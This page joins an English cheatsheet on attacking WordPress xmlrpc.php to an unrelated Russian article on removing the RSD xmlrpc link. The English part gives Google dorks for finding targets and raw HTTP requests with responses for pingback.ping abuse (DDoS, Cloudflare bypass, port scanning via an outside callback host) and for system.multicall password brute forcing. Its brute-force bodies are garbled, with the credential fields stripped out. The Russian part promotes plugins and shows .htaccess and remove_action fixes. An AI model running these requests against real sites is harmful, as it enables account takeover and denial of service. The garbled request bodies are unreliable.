- Exploiting the xmlrpc.php on all WordPress versions
- Dorks for finding potential targets
- Searching for XML-RPC servers on WordPress:
- XML-RPC pingbacks attacks
- Brute force attacks
- Other references:
- RSD xmlrpc ссылка в wordpress – для чего нужна и как удалить
- Что такое xml rpc
- Почему стоит отключать
- Отключить плагином Disable XML-RPC
- Удаляем xmlrpc помощью кода
Exploiting the xmlrpc.php on all WordPress versions
XML-RPC on WordPress is actually an API that allows developers who make 3rd party application and services the ability to interact to your WordPress site. The XML-RPC API that WordPress provides several key functionalities that include:
- Publish a post
- Edit a post
- Delete a post.
- Upload a new file (e.g. an image for a post)
- Get a list of comments
- Edit comments
For instance, the Windows Live Writer system is capable of posting blogs directly to WordPress because of XML-RPC.
Unfortunately on the normal installation (not tampered with settings, and/or configs) of WordPress the XML-RPC interface opens two kinds of attacks:
According to the WordPress documentation (https://codex.wordpress.org/XML-RPC_Support), XML-RPC functionality is turned on by default since WordPress 3.5.
Note that in this tutorial/cheatsheet the domain “example.com” is actually an example and can be replaced with your specific target.
Dorks for finding potential targets
I would like to add that any illegal action is your own, and I can not be held responsible for your actions against a vulnerable target. Test only where you are allowed to do so. Go for the public, known bug bounties and earn your respect within the community.
That’s being said, during bug bounties or penetration testing assessments I had to identify all vulnerable WordPress targets on all subdomains following the rule *.example.com . In this specific case I relied on Google dorks in order to fast discovery all potential targets:
- inurl:»/xmlrpc.php?rsd» + scoping restrictions
- intitle:»WordPress» inurl:»readme.html» + scoping restrictions = general wordpress detection
- allinurl:»wp-content/plugins/» + scoping restrictions = general wordpress detection
Searching for XML-RPC servers on WordPress:
- Ensure you are targeting a WordPress site.
- Ensure you have access to the xmlrpc.php file. In general, it is found at https://example.com/xmlrpc.php and would reply to a GET request with: XML-RPC server accepts POST requests only.
- It will be pointless to target an XML-RPC server which is disabled/hardcoded/tampered/not working. Therefore, we will check its functionality by sending the following request:
POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 135 system.listMethods
The normal response should be:
HTTP/1.1 200 OK Date: Mon, 01 Jul 2019 17:13:30 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload Connection: close Vary: Accept-Encoding Referrer-Policy: no-referrer-when-downgrade Content-Length: 4272 Content-Type: text/xml; charset=UTF-8 system.multicall system.listMethods system.getCapabilities demo.addTwoNumbers demo.sayHello pingback.extensions.getPingbacks pingback.ping mt.publishPost mt.getTrackbackPings mt.supportedTextFilters mt.supportedMethods mt.setPostCategories mt.getPostCategories mt.getRecentPostTitles mt.getCategoryList metaWeblog.getUsersBlogs metaWeblog.deletePost metaWeblog.newMediaObject metaWeblog.getCategories metaWeblog.getRecentPosts metaWeblog.getPost metaWeblog.editPost metaWeblog.newPost blogger.deletePost blogger.editPost blogger.newPost blogger.getRecentPosts blogger.getPost blogger.getUserInfo blogger.getUsersBlogs wp.restoreRevision wp.getRevisions wp.getPostTypes wp.getPostType wp.getPostFormats wp.getMediaLibrary wp.getMediaItem wp.getCommentStatusList wp.newComment wp.editComment wp.deleteComment wp.getComments wp.getComment wp.setOptions wp.getOptions wp.getPageTemplates wp.getPageStatusList wp.getPostStatusList wp.getCommentCount wp.deleteFile wp.uploadFile wp.suggestCategories wp.deleteCategory wp.newCategory wp.getTags wp.getCategories wp.getAuthors wp.getPageList wp.editPage wp.deletePage wp.newPage wp.getPages wp.getPage wp.editProfile wp.getProfile wp.getUsers wp.getUser wp.getTaxonomies wp.getTaxonomy wp.getTerms wp.getTerm wp.deleteTerm wp.editTerm wp.newTerm wp.getPosts wp.getPost wp.deletePost wp.editPost wp.newPost wp.getUsersBlogs
Note that in the absence of the above-presented example response, it is rather pointless to proceed with actual testing of the two vulnerabilities. The response might vary based on the settings and configurations of the WordPress installation.
- If there is an output for
system.listMethods then it is recommended to interact with at least the most basic method called demo.sayHello.
POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 130 demo.sayHello
HTTP/1.1 200 OK Date: Mon, 01 Jul 2019 17:19:05 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload Connection: close Vary: Accept-Encoding Referrer-Policy: no-referrer-when-downgrade Content-Length: 181 Content-Type: text/xml; charset=UTF-8 Hello!
XML-RPC pingbacks attacks
In this case, an attacker is able to leverage the default XML-RPC API in order to perform callbacks for the following purposes:
- Distributed denial-of-service (DDoS) attacks — An attacker executes the pingback.ping the method from several affected WordPress installations against a single unprotected target (botnet level).
- Cloudflare Protection Bypass — An attacker executes the pingback.ping the method from a single affected WordPress installation which is protected by CloudFlare to an attacker-controlled public host (for example a VPS) in order to reveal the public IP of the target, therefore bypassing any DNS level protection.
- XSPA (Cross Site Port Attack) — An attacker can execute the pingback.ping the method from a single affected WordPress installation to the same host (or other internal/private host) on different ports. An open port or an internal host can be determined by observing the difference in time of response and/or by looking at the response of the request.
The following represents an simple example request using the PostBin provided URL as callback:
POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 303 pingback.ping https://postb.in/1562017983221-4377199190203 https://example.com/
HTTP/1.1 200 OK Date: Mon, 01 Jul 2019 21:53:56 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload Connection: close Vary: Accept-Encoding Referrer-Policy: no-referrer-when-downgrade Content-Length: 370 Content-Type: text/xml; charset=UTF-8 faultCode 0 faultString
Brute force attacks
Sometimes the only way to bypass request limiting or blocking in a brute force attack against WordPress site is to use the all too forgotten XML-RPC API.
The following request represents the most common brute force attack:
POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 235 wp.getUsersBlogs \<\\> \<\\>
The above request can be sent in Burp Intruder (for example) with different sets of credentials. Note that, even if you guess the password or not, the response code will always be 200. I highly recommend looking for errors/messages within the body of the response.
Worried about sending way to much requests against the target? — No worries. WordPress XML-RPC by default allows an attacker to perform a single request, and brute force hundreds of passwords.
The following request requires permissions for both system.multicall and wp.getUsersBlogs methods:
POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 1560 system.multicall methodName wp.getUsersBlogs params \\> \\> methodName wp.getUsersBlogs params \\> \\> methodName wp.getUsersBlogs params \\> \\> methodName wp.getUsersBlogs params \\> \\>
The response will look like:
HTTP/1.1 200 OK Date: Mon, 01 Jul 2019 23:02:55 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload Connection: close Vary: Accept-Encoding Referrer-Policy: no-referrer-when-downgrade Content-Length: 1043 Content-Type: text/xml; charset=UTF-8 faultCode 403 faultString Incorrect username or password. faultCode 403 faultString Incorrect username or password. faultCode 403 faultString Incorrect username or password. faultCode 403 faultString Incorrect username or password.
In the above example I tested 4 different credentials sets using a single request. You just have to replace > and > with your own combinations.
That is it, please comment if I missed something and happy hunting!
Other references:
RSD xmlrpc ссылка в wordpress – для чего нужна и как удалить
Лишнее в WordPress
В статье разберу плагины и другие методы удаления RSD ссылки с адресом xmlrpc, которая подключается в шапке ресурса. Отключить ее через админку нельзя, поэтому покажу что это такое, и почему стоит убирать из исходного кода
Что такое xml rpc
Технология xml rpc, появилась раньше WordPress, ей пользовались для синхронизации компьютера с каким либо внешним источником в интернете, в нашем случае с блогом для загрузки контента. Так выглядит в коде WordPress.
Сейчас скорость интернета высокая, поэтому весь процесс написания контента можно производить напрямую в админке, не переживая что может зависнуть сайт. Десять и больше лет назад интернет не везде был скоростным, возможность напрямую публиковаться не у всех была. Поэтому сначала писали текст оффлайн, загружали в программы, которые конвертировали данные в xml формат и загружали в движок, админу оставалось только нажать кнопку опубликовать.
Но сейчас подключение такого типа не нужно, оно морально устарело. Но разработчики WordPress оставляют эту возможность, потому что у пользователей iOS есть встроенные приложения для синхронизации с сайтом и публикации по протоколу xmlrpc.
Почему стоит отключать
Смысл отключения прост – то чем не пользуемся нужно удалять. Эта ссылка находится в теге link раздела head, что не хорошо для оптимизации. Конечно, сайт не будет тормозить, потому что вес 3 Кб, но чистоту кода никто не отменял.
Также xml rpc можно косвенно использовать для атак и доступа к админке. Через только RSD нельзя взломать или навредить ресурсу, но если использовать в купе с другими способами взлома, то возможны проблемы. Для понимания процесса пропишу видео обзор процесса.
Помимо удаления RSD линка он улучшает WordPerss по еще 51 пункту. С помощью его можно забыть про техническую настройку WordPress, конечно, если стоит качественный шаблон, например, REBOOT. Для подписчиков WPtemplate даю промо.
Отключить плагином Disable XML-RPC
Простой модуль не требующий настроек, поставил и забыл – называется Disable XML-RPC, найти можно поиском в админке WordPress. Выглядит так.
После установки посмотрите на блог и работу остальных плагинов –возможны сбои, могут быть дополнения использующие старую передачу.
Удаляем xmlrpc помощью кода
Если при удалении тега link с RSD подключением через xmlrpc происходят неполадки на сайте, то лучше просто закрыть его на уровне сервера. Из кода не удалится, но если кто-то захочет его посмотреть ему будет запрещен доступ. В .htaccess вставляем вниз такую конфигурацию.
order deny,allow deny from all allow from 123.123.123.123
Либо действуем кардинально и отключаем полностью, как делали при помощи Clearfy PRO, только в этом случае рискуем правкой файлов темы. Копируем инструкцию:
remove_action( 'wp_head', 'rsd_link' );
- Заходим Внешний вид > Редактор тем
- Выбираем function.php в правой колонке
- Вставляем вниз скопированную инструкцию
- Обновляем
Если все сделано правильно, подключение rsd через ссылку xmlrpc пропадет из раздела head в WordPress.
Закончу обзор возможностей для еще одной очистки WordPress. Если хотим один разом избавиться, от всего мусора то приобретайте Clearfy PRO и закрыть технические недочеты.